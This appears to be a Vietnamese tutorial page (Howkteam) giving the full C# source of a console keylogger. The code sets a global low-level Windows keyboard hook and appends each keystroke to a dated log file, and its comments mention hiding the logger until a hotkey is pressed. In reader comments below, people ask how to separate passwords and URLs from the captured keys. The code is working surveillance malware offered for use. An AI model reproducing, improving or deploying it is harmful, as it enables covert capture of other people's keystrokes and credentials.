using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace KeyLogger
{
class Program
{
#region hook key boardprivateconstint WH_KEYBOARD_LL = 13;
privateconstint WM_KEYDOWN = 0x0100;
privatestatic LowLevelKeyboardProc _proc = HookCallback;
privatestatic IntPtr _hookID = IntPtr.Zero;
privatestaticstring logName = "Log_";
privatestaticstring logExtendtion = ".txt";
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
privatestaticextern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
privatestaticexternboolUnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
privatestaticextern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
privatestaticextern IntPtr GetModuleHandle(string lpModuleName);
///<summary>/// Delegate a LowLevelKeyboardProc to use user32.dll///</summary>///<param name="nCode"></param>///<param name="wParam"></param>///<param name="lParam"></param>///<returns></returns>privatedelegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
///<summary>/// Set hook into all current process///</summary>///<param name="proc"></param>///<returns></returns>privatestatic IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
{
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
}
///<summary>/// Every time the OS call back pressed key. Catch them /// then cal the CallNextHookEx to wait for the next key///</summary>///<param name="nCode"></param>///<param name="wParam"></param>///<param name="lParam"></param>///<returns></returns>privatestatic IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
WriteLog(vkCode);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
///<summary>/// Write pressed key into log.txt file///</summary>///<param name="vkCode"></param>staticvoid WriteLog(int vkCode)
{
Console.WriteLine((Keys)vkCode);
string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
StreamWriter sw = new StreamWriter(logNameToWrite, true);
sw.Write((Keys)vkCode);
sw.Close();
}
///<summary>/// Start hook key board and hide the key logger/// Key logger only show again if pressed right Hot key///</summary>staticvoid HookKeyboard()
{
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
}
#endregionstaticvoid Main(string[] args)
{
HookKeyboard();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
Bài sau chúng ta sẽ cùng nhau tạo timmer.
Đừng quên: “Luyện tập – Thử thách – Không ngại khó”
Tải xuống
Tài liệu
Nhằm phục vụ mục đích học tập Offline của cộng đồng, Kteam hỗ trợ tính năng lưu trữ nội dung bài học Giới thiệu các API cần thiết tool Keylogger với C# Console Application dưới dạng file PDF trong link bên dưới.
Ngoài ra, bạn cũng có thể tìm thấy các tài liệu được đóng góp từ cộng đồng ở mục TÀI LIỆU trên thư viện Howkteam.com
Đừng quên like và share để ủng hộ Kteam và tác giả nhé!
Thảo luận
Nếu bạn có bất kỳ khó khăn hay thắc mắc gì về khóa học, đừng ngần ngại đặt câu hỏi trong phần bên dưới hoặc trong mục HỎI & ĐÁP trên thư viện Howkteam.com để nhận được sự hỗ trợ từ cộng đồng.
.
cho em hỏi là vs 2019 nó không định nghĩa được run trong Application.run() thì phải làm thế nào ạ?
Thế làm thế nào để nó phân biệt các loại pass với các thông tin khác hả anh
Thế làm thế nào để nó phân biệt các loại pass với các thông tin khác hả anh
Thế làm thế nào để nó phân biệt được pass với các thông tin tạp cũng như URL hả anh